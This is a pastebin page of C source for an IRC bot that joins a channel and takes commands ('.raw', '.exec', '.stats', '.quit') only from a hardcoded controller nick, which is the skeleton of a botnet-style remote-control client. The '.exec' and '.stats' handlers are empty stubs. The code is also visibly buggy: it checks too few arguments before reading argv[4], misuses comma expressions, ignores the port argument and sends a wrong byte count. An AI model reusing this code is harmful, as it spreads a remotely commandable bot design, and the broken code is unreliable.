All pastes #963904 Raw Edit

Unnamed

public text v1 · immutable
#963904 ·published 2008-03-30 22:01 UTC
rendered paste body
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define port 6667
#define ENABLE_BUFFER_SHOWING 1

typedef int SOCKET;
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr SOCKADDR;

int main(int argc,char* argv[])
{
   if(argc <= 2)
  {
      printf("Usage: %s \"Nick\" \"User\" \"ChannelToJoin\" \"Server(IP Only)\" \"Port\" (Please include the \" \")\n",argv[0]);

  }
   else
  {
    char *strdel(char *s, size_t n);
    SOCKET sock;
    SOCKADDR_IN sin;
    char buffer[BUFSIZ];
    char *ptr;
    char msg[256];
    sock = socket(AF_INET, SOCK_STREAM, 0);
    sin.sin_addr.s_addr = inet_addr(("%s",argv[4]));
    sin.sin_family	    = AF_INET;
    sin.sin_port	    = htons(port);
    char *autorize=":HellDragon!";
    connect(sock, (SOCKADDR *)&sin, sizeof(sin));
    sprintf (buffer, "NICK %s\n", (char*)argv[1]);
    send (sock, buffer, strlen (buffer), 0);
    sprintf (buffer, "USER %s %s %s :%s\n", (char*)argv[2],(char*)argv[2],(char*)argv[2],(char*)argv[2]);
    send (sock, buffer, strlen (buffer), 0);
    sprintf (buffer, "JOIN %s\n", (char*)argv[3]);
   
    send (sock, buffer, strlen (buffer), 0);
    send (sock, buffer, strlen (buffer), 0);
    while(1)
    {
      memset(buffer, '\0', BUFSIZ);
      recv(sock, buffer, BUFSIZ-1, 0);
      if(ENABLE_BUFFER_SHOWING == 1)
	  {
      printf("%s",buffer);
	  }
      if (strstr(buffer, "PING :"))
      {
          ptr = strstr(buffer, "PING :") + strlen("PING :");
          snprintf(msg, 256, "PONG :%s\n", ptr);
          send(sock, msg, strlen(msg), 0);
      } 

      if ((strstr(buffer, autorize)) && (strstr(buffer, ".raw")))
      {
          ptr = strstr(buffer, ".raw");
          ptr = strstr(ptr, " ");
          send(sock, ("%s\r\n",ptr), strlen(ptr), 0);
      }
      if ((strstr(buffer, autorize)) && (strstr(buffer, ".exec")))
      {
          // HELP 
      }
      if ((strstr(buffer, autorize)) && (strstr(buffer, ".stats")))
      {
          // HELP
      }
      if ((strstr(buffer, autorize)) && (strstr(buffer, ".quit")))
      {
          ptr = strstr(buffer, ".quit");
          send(sock, "QUIT bye\r\n", 6, 0);
                   {
                       close(sock);
                       printf("\nNOW EXITING...\n");
                       exit(0);
                   }
      }
    }
    return EXIT_SUCCESS;
  }
}